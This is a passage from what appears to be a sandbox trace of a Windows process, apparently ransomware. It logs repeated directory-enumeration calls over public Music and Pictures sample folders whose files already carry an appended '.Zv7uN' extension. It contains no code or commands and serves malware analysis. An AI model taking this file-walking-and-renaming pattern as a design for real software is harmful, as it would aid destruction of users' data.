ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.465] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.465] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.465] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.465] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b37cda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Kalimba.mp3.Zv7uN", cAlternateFileName="")) returned 1 [0125.466] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.466] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5c9f3d40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3.Zv7uN", cAlternateFileName="MAIDWI~1.ZV7")) returned 1 [0125.466] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.466] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.Zv7uN", cAlternateFileName="SLEEPA~1.ZV7")) returned 1 [0125.466] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.466] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.Zv7uN", cAlternateFileName="SLEEPA~1.ZV7")) returned 0 [0125.466] GetLastError () returned 0x12 [0125.466] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.466] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.466] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.467] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.467] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.467] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.467] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.467] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.467] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b37cda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Kalimba.mp3.Zv7uN", cAlternateFileName="")) returned 1 [0125.467] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.467] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.467] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5c9f3d40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3.Zv7uN", cAlternateFileName="MAIDWI~1.ZV7")) returned 1 [0125.467] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.467] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.467] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.Zv7uN", cAlternateFileName="SLEEPA~1.ZV7")) returned 1 [0125.467] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.467] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.468] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.Zv7uN", cAlternateFileName="SLEEPA~1.ZV7")) returned 0 [0125.468] GetLastError () returned 0x12 [0125.468] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.468] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0125.468] GetLastError () returned 0x12 [0125.468] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.468] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0125.468] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.468] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.468] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.468] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.469] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.469] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.469] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.469] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0125.469] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0125.469] GetLastError () returned 0x12 [0125.469] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.469] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.469] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.469] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.469] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.469] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.470] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.470] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.470] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0125.470] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.470] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.470] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.470] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.470] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e2cc2e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Chrysanthemum.jpg.Zv7uN", cAlternateFileName="CHRYSA~1.ZV7")) returned 1 [0125.470] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.470] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.470] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e579ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Desert.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.470] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.471] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.471] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.471] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.471] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.471] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e6d0800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Hydrangeas.jpg.Zv7uN", cAlternateFileName="HYDRAN~1.ZV7")) returned 1 [0125.471] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.471] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.471] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e931e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Jellyfish.jpg.Zv7uN", cAlternateFileName="JELLYF~1.ZV7")) returned 1 [0125.471] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.471] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.471] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ec9dda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Koala.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.471] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.471] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.471] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5eeff3a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Lighthouse.jpg.Zv7uN", cAlternateFileName="LIGHTH~1.ZV7")) returned 1 [0125.471] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.471] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 